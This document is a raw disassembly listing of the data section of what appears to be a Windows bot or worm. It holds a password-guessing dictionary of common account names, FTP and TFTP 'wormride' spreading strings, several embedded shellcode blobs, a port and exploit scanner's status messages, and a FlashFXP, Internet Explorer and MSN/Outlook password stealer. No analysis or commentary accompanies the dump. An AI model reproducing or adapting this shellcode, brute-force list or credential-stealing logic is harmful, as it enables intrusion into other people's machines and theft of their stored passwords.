aOffice		db 'office',0           ; DATA XREF: cAddress:0041BCA4o
					; cAddress:0041BF54o
		align 4
aControl	db 'control',0          ; DATA XREF: cAddress:0041BCA0o
					; cAddress:0041BF50o
aSiemens	db 'siemens',0          ; DATA XREF: cAddress:0041BC9Co
					; cAddress:0041BF40o
aCompaq		db 'compaq',0           ; DATA XREF: cAddress:0041BC98o
					; cAddress:0041BF3Co
		align 10h
aDell		db 'dell',0             ; DATA XREF: cAddress:0041BC94o
					; cAddress:0041BF38o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: cAddress:0041BC90o
					; cAddress:0041BF34o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: cAddress:0041BC8Co
					; cAddress:0041BF30o
aOracle		db 'oracle',0           ; DATA XREF: cAddress:0041BC88o
					; cAddress:0041BF2Co
		align 4
aSql		db 'sql',0              ; DATA XREF: cAddress:0041BC84o
					; cAddress:0041BF20o
aSa		db 'sa',0               ; DATA XREF: cAddress:0041BC80o
					; cAddress:0041BF1Co
		align 4
aData		db 'data',0             ; DATA XREF: cAddress:0041BC7Co
					; cAddress:0041BF08o
		align 4
aAccess		db 'access',0           ; DATA XREF: cAddress:0041BC78o
					; cAddress:0041BEF8o
		align 4
aDatabase	db 'database',0         ; DATA XREF: cAddress:0041BC74o
					; cAddress:0041BEF4o
		align 10h
aDomain		db 'domain',0           ; DATA XREF: cAddress:0041BC70o
					; cAddress:0041BEE8o
		align 4
aGod		db 'god',0              ; DATA XREF: cAddress:0041BC6Co
					; cAddress:0041BED4o
aBackup		db 'backup',0           ; DATA XREF: cAddress:0041BC68o
					; cAddress:0041BEBCo
		align 4
aTechnical	db 'technical',0        ; DATA XREF: cAddress:0041BC64o
					; cAddress:0041BEB8o
		align 10h
aMary		db 'mary',0             ; DATA XREF: cAddress:0041BC60o
					; cAddress:0041BEACo
		align 4
aKatie		db 'katie',0            ; DATA XREF: cAddress:0041BC5Co
					; cAddress:0041BEA8o
		align 10h
aKate		db 'kate',0             ; DATA XREF: cAddress:0041BC54o
					; cAddress:0041BEA0o
		align 4
aGeorge		db 'george',0           ; DATA XREF: cAddress:0041BC50o
					; cAddress:0041BE9Co
		align 10h
aEric		db 'eric',0             ; DATA XREF: cAddress:0041BC4Co
					; cAddress:0041BE98o
		align 4
aNone		db 'none',0             ; DATA XREF: cAddress:0041BC48o
					; cAddress:0041BDB0o
		align 10h
aGuest		db 'guest',0            ; DATA XREF: cAddress:0041BC44o
					; cAddress:0041BDACo
		align 4
aChris		db 'chris',0            ; DATA XREF: cAddress:0041BC40o
					; cAddress:0041BE94o
		align 10h
aIan		db 'ian',0              ; DATA XREF: cAddress:0041BC3Co
					; cAddress:0041BE90o
aNeil		db 'neil',0             ; DATA XREF: cAddress:0041BC38o
					; cAddress:0041BE8Co
		align 4
aLee		db 'lee',0              ; DATA XREF: cAddress:0041BC34o
					; cAddress:0041BE88o
aBrian		db 'brian',0            ; DATA XREF: cAddress:0041BC30o
					; cAddress:0041BE84o
		align 4
aSusan		db 'susan',0            ; DATA XREF: cAddress:0041BC28o
					; cAddress:0041BE7Co
		align 10h
aSue		db 'sue',0              ; DATA XREF: cAddress:0041BC24o
					; cAddress:0041BE78o
aSam		db 'sam',0              ; DATA XREF: cAddress:0041BC20o
					; cAddress:0041BE74o
aLuke		db 'luke',0             ; DATA XREF: cAddress:0041BC1Co
					; cAddress:0041BE70o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: cAddress:0041BC18o
					; cAddress:0041BC2Co ...
		align 4
aJohn		db 'john',0             ; DATA XREF: cAddress:0041BC14o
					; cAddress:0041BE68o
		align 10h
aMike		db 'mike',0             ; DATA XREF: cAddress:0041BC10o
					; cAddress:0041BE64o
		align 4
aBill		db 'bill',0             ; DATA XREF: cAddress:0041BC0Co
					; cAddress:0041BE60o
		align 10h
aFred		db 'fred',0             ; DATA XREF: cAddress:0041BC08o
					; cAddress:0041BE5Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: cAddress:0041BC04o
					; cAddress:0041BE58o
aJen		db 'jen',0              ; DATA XREF: cAddress:0041BC00o
					; cAddress:0041BE54o
aBob		db 'bob',0              ; DATA XREF: cAddress:0041BBFCo
					; cAddress:0041BC58o ...
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: cAddress:0041BBF8o
					; cAddress:0041BE24o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: cAddress:0041BBF4o
					; cAddress:0041BE1Co
aUser_1		db 'user',0             ; DATA XREF: cAddress:0041BBF0o
					; cAddress:0041BE14o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: cAddress:0041BBECo
					; cAddress:0041BE10o
		align 4
aHome		db 'home',0             ; DATA XREF: cAddress:0041BBE8o
					; cAddress:0041BE0Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: cAddress:0041BBE4o
					; cAddress:0041BCB0o ...
		align 10h
aWww		db 'www',0              ; DATA XREF: cAddress:0041BBE0o
					; cAddress:0041BDF4o
aWeb		db 'web',0              ; DATA XREF: cAddress:0041BBDCo
					; cAddress:0041BDF0o
aRoot		db 'root',0             ; DATA XREF: cAddress:0041BBD8o
					; cAddress:0041BDD4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: cAddress:0041BBD4o
					; cAddress:0041BDD0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: cAddress:0041BBCCo
					; cAddress:0041BDC0o
		align 10h
aUnix_0		db 'unix',0             ; DATA XREF: cAddress:0041BBC8o
					; cAddress:0041BDBCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: cAddress:0041BBC4o
					; cAddress:0041BDB8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: cAddress:0041BBC0o
					; cAddress:0041BD28o
aAdmin		db 'admin',0            ; DATA XREF: cAddress:0041BBBCo
					; cAddress:0041BD24o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: cAddress:0041BBB8o
					; cAddress:0041BD20o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: cAddress:0041BBB4o
					; cAddress:0041BD1Co
aAdministrateur	db 'administrateur',0   ; DATA XREF: cAddress:0041BBB0o
					; cAddress:0041BD18o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: cAddress:0041BBACo
					; cAddress:0041BD14o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: cAddress:0041BBA8o
					; cAddress:0041BD10o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: cAddress:loc_4119BAo
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: cAddress:0041197Eo
dword_41C514	dd 1471A0h		; DATA XREF: cAddress:0041196Fr
		align 10h
unk_41C520	db  2Dh	; -		; DATA XREF: cAddress:00411948o
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: cAddress:00411943o
dword_41C54C	dd 16BF48h		; DATA XREF: cAddress:00411879r
		dd 2 dup(0)
a226		db '226 -',0Dh,0Ah,0    ; DATA XREF: cAddress:00411832o
					; cAddress:004118E5o
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: cAddress:004117EAo
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: cAddress:00411702o
					; cAddress:0041188Co
dword_41C5DC	dd 1192A0h		; DATA XREF: cAddress:004116EFr
		dd 2 dup(0)
a213U		db '213 %u',0Dh,0Ah,0   ; DATA XREF: cAddress:004116A8o
		align 4
dword_41C5F4	dd 9AAA8h		; DATA XREF: cAddress:00411628r
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: cAddress:00411562o
		align 4
dword_41C614	dd 10E3A0h		; DATA XREF: cAddress:00411525r
		align 10h
a425		db '425 -',0Dh,0Ah,0    ; DATA XREF: cAddress:004114DEo
dword_41C628	dd 123230h		; DATA XREF: cAddress:004114CFr
		dd 2 dup(0)
a200		db '200 -',0Dh,0Ah,0    ; DATA XREF: cAddress:00411488o
					; cAddress:004115E1o
dword_41C63C	dd 949E8h		; DATA XREF: cAddress:00411479r
		dd 2 dup(0)
a257		db '257 "/" -',0Dh,0Ah,0 ; DATA XREF: cAddress:00411432o
dword_41C654	dd 238A0h		; DATA XREF: cAddress:00411423r
		dd 0
a211		db '211 -',0Dh,0Ah,0    ; DATA XREF: cAddress:004113DCo
dword_41C664	dd 0B3160h		; DATA XREF: cAddress:004113CDr
		align 10h
a215		db '215 -',0Dh,0Ah,0    ; DATA XREF: cAddress:00411386o
dword_41C678	dd 9B2A0h		; DATA XREF: cAddress:00411377r
		dd 2 dup(0)
a230		db '230 -',0Dh,0Ah,0    ; DATA XREF: cAddress:0041131Co
dword_41C68C	dd 1230E8h		; DATA XREF: cAddress:00411303r
		dd 2 dup(0)
a331		db '331 -',0Dh,0Ah,0    ; DATA XREF: cAddress:004112BCo
dword_41C6A0	dd 128588h		; DATA XREF: cAddress:004112A6r
		dd 2 dup(0)
dword_41C6AC	dd 0A0D20h		; DATA XREF: cAddress:00411224o
					; cAddress:00411250o ...
a220		db '220 -',0Dh,0Ah,0    ; DATA XREF: cAddress:0041114Eo
a230_0		db '230',0              ; DATA XREF: sub_411A09+193o
aPass1		db 'PASS 1',0Dh,0Ah,0   ; DATA XREF: sub_411A09+11Do
		align 4
a331_0		db '331',0              ; DATA XREF: sub_411A09+F9o
aUser1		db 'USER 1',0Dh,0Ah,0   ; DATA XREF: sub_411A09:loc_411A8Ao
		align 4
a220_0		db '220',0              ; DATA XREF: sub_411A09+63o
unk_41C6DC	db  2Dh	; -		; DATA XREF: sub_411BBC+115o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_411BBC+6Eo
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724	dd 4000500h, 7868746Bh,	0 ; DATA XREF: cAddress:004123A7o
unk_41C730	db  2Dh	; -		; DATA XREF: cAddress:00412382o
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: cAddress:0041237Do
		align 4
dword_41C76C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: cAddress:0041212Co
aOctet		db 'octet',0            ; DATA XREF: cAddress:004120F8o
					; cAddress:0041210Ao
		align 4
unk_41C788	db  2Dh	; -		; DATA XREF: cAddress:00411F09o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
		align 4
dword_41C7C8	dd 0B915EBh, 81000000h,	0F1h, 74805E00h, 0E200FF31h, 0E805EBF9h
					; DATA XREF: sub_4125DF+50o
		dd 0FFFFFFE6h, 0
dword_41C7E8	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+CBo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
		dd 0E5FFh
dword_41C89C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+8Co
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
		dd 0E5FFh
dword_41C964	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+36o
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
		dd 0E5FFh
dword_41CA18	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_412720+71o
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_41CB95	db 0E3h			; DATA XREF: sub_4125DF+CFr
					; sub_4125DF+E4w
		align 4
dword_41CB98	dd 4113E68Bh		; DATA XREF: sub_4125DF+60r
					; sub_4125DF+75w
		align 10h
off_41CBA0	dd offset dword_41CC28	; DATA XREF: sub_4127D0+77r
		dd offset aB_0		; "êÍÖ¡"
		dd offset dword_41CC14
		dd offset aMpRRdJ	; "¬ÁÜÆÁ×êIJà„׆Ï"
		dd offset aCB		; "çÌס"
		dd offset dword_41CC14
		dd offset dword_41CBDC
		dd offset aUG		; "îÌÜ£·"
		dd offset dword_41CC14
		align 10h
aUG		db 'îÌÜ£·',0            ; DATA XREF: cAddress:0041CBBCo
					; cAddress:0041DA5Co
		align 4
		dd 0
dword_41CBDC	dd 0FAC18FACh, 0C9F7BFE2h, 0A387EFFBh, 2 dup(0)
					; DATA XREF: cAddress:0041CBB8o
					; cAddress:0041DA58o
aCB		db 'çÌס',0             ; DATA XREF: cAddress:0041CBB0o
					; cAddress:0041DA50o
		align 4
		dd 0
aMpRRdJ		db '¬ÁÜÆÁ×êIJà„׆Ï',0 ; DATA XREF: cAddress:0041CBACo
					; cAddress:0041DA4Co
		align 10h
		dd 0
dword_41CC14	dd 2 dup(0)		; DATA XREF: cAddress:0041CBA8o
					; cAddress:0041CBB4o ...
aB_0		db 'êÍÖ¡',0             ; DATA XREF: cAddress:0041CBA4o
					; cAddress:off_41DA44o
		align 8
dword_41CC28	dd 0FFC18FACh, 0C3FCE8E2h, 0B492F6B1h, 0E6AEF0E3h, 0B0h
					; DATA XREF: cAddress:off_41CBA0o
					; cAddress:off_41DA40o
		dd 0
dword_41CC40	dd 72h			; DATA XREF: sub_412A3A:loc_412B93o
dword_41CC44	dd 62h			; DATA XREF: sub_412BC9:loc_412D11o
dword_41CC48	dd 63h			; DATA XREF: cAddress:loc_412DC8o
dword_41CC4C	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: cAddress:00412E68o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_41CC84	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_412F07+98o
		dd 74726F70h, 34300320h, 3752502h, 2
byte_41CCA8	db 0BBh			; DATA XREF: sub_41294E+3Co
					; sub_41294E+4Co ...
		db 9Fh,	80h, 0FCh
		dd 0B1h, 2 dup(0)
		dd 0EE000000h, 0DACFh, 3 dup(0)
		db 2 dup(0)
dword_41CCCE	dd 6B4B9C36h		; DATA XREF: sub_41294E+2Br
					; sub_412FC6+31r ...
dword_41CCD2	dd 0			; DATA XREF: sub_412FC6+57w
					; cAddress:00414107r ...
off_41CCD6	dd offset loc_410649	; DATA XREF: sub_41294E+1Cr
					; sub_412FC6+18r ...
		dw 3
		dd 0
		dd 99B10000h, 0F8E2E19Bh, 0FAh,	2 dup(0)
		dd 0DAC8EB00h, 4 dup(0)
		dd 0B0BDB615h, 0
		dd offset loc_410B52
		dd 3, 10h dup(0)
aWin32		db '(Win32)',0          ; DATA XREF: sub_41308F+217o
aUnix		db '(Unix)',0           ; DATA XREF: sub_41308F+1F1o
		align 4
aApacheU	db 'Apache/%u',0        ; DATA XREF: sub_41308F+1DFo
		align 4
aApache		db 'Apache',0           ; DATA XREF: sub_41308F+1B9o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_41308F+FCo
		align 10h
aServer		db 'Server:',0          ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
		db 0Dh,0Ah,0
		align 10h
unk_41CDC0	db  53h	; S		; DATA XREF: cAddress:00413A80o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_41CE04	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: cAddress:004139FAo
dword_41CE18	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: cAddress:004137DFo
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_41CE50	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: cAddress:004137A1o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41CE7C	db  53h	; S		; DATA XREF: sub_413AB0+1DCo
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_41CEB4	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: cAddress:00413FC1o
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_41CEF8	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: cAddress:00413F63o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_41CF28	db  2Dh	; -		; DATA XREF: cAddress:00413CE4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 4
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41CF7C	dd 3003203Ah, 75250234h, 202E0203h, 0 ;	DATA XREF: cAddress:0041410Do
aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: cAddress:0041407Bo
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
		align 10h
dword_41CFC0	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: cAddress:00414299o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_41CFF0	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: cAddress:00414275o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_41D028	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: cAddress:00414239o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_41D058	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_4142BF+D8o
		dd 30032074h, 73250234h, 203h
unk_41D078	db  53h	; S		; DATA XREF: cAddress:004145D1o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_41D0B4	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: cAddress:0041456Ao
dword_41D0C8	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: cAddress:00414431o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_41D110	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_414600+1BEo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
					; sub_4147E5+C6o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_4148CE+ABo
		align 4
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_4148CE:loc_414945o
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_4148CE+57o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_4148CE+15o
		align 4
unk_41D204	db  2Dh	; -		; DATA XREF: cAddress:00414E82o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 10h
dword_41D240	dd 2343003h, 2037525h	; DATA XREF: cAddress:00414DE2o
a_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: cAddress:00414D70o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: cAddress:00414D56o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: cAddress:00414D3Co
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: cAddress:00414D22o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41D2AC	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: cAddress:00414D08o
		align 4
aPass		db 0Dh,0Ah		; DATA XREF: cAddress:00414C12o
		db 'Pass=',0
aUser		db 0Dh,0Ah		; DATA XREF: cAddress:00414BFAo
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: cAddress:00414BE2o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: cAddress:00414BCAo
		db 'IP=',0
		align 4
asc_41D2D8	db 0Dh,0Ah		; DATA XREF: cAddress:loc_414BA6o
		db 0Dh,0Ah
		db '[',0
		align 10h
unk_41D2E0	db  2Dh	; -		; DATA XREF: cAddress:00414A73o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 4
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
		align 4
		dd 3430032Dh, 3752502h,	4C202D02h, 65747369h, 30032064h
		dd 75250234h, 69200203h, 7265746Eh, 2074656Eh, 6C707865h
		dd 7265726Fh, 73617020h, 726F7773h, 29732864h, 2Eh, 2343003h
		dd 2037525h, 4549202Eh,	7475413Ah, 6D6F436Fh, 74656C70h
		dd 61502065h, 6F777373h, 20736472h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh, 2343003h, 2037525h, 4549202Eh, 7475413Ah
		dd 6F43206Fh, 656C706Dh, 66206574h, 646C6569h, 202D2073h
		dd 6C656946h, 3203A64h,	25023430h, 2E020373h, 74614420h
		dd 3203A61h, 25023430h,	2E020373h, 0
aHttps		db 'https:/',0
aHttp_0		db 'http:/',0
		align 4
aString		db ':String',0
aStringindex	db 'StringIndex',0
aE161255a	db 'e161255a',0
		align 4
		dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h, 2Ch, 31383962h, 32356339h, 0
		dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh, 65376535h, 30303138h,	0
		dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h, 64303232h, 31636335h,	0
		dd 737725h, 7825h, 3430032Dh, 3752502h,	4C202D02h, 69747369h
		dd 6920676Eh, 7265746Eh, 2074656Eh, 6C707865h, 7265726Fh
		dd 73617020h, 726F7773h, 7364h,	0
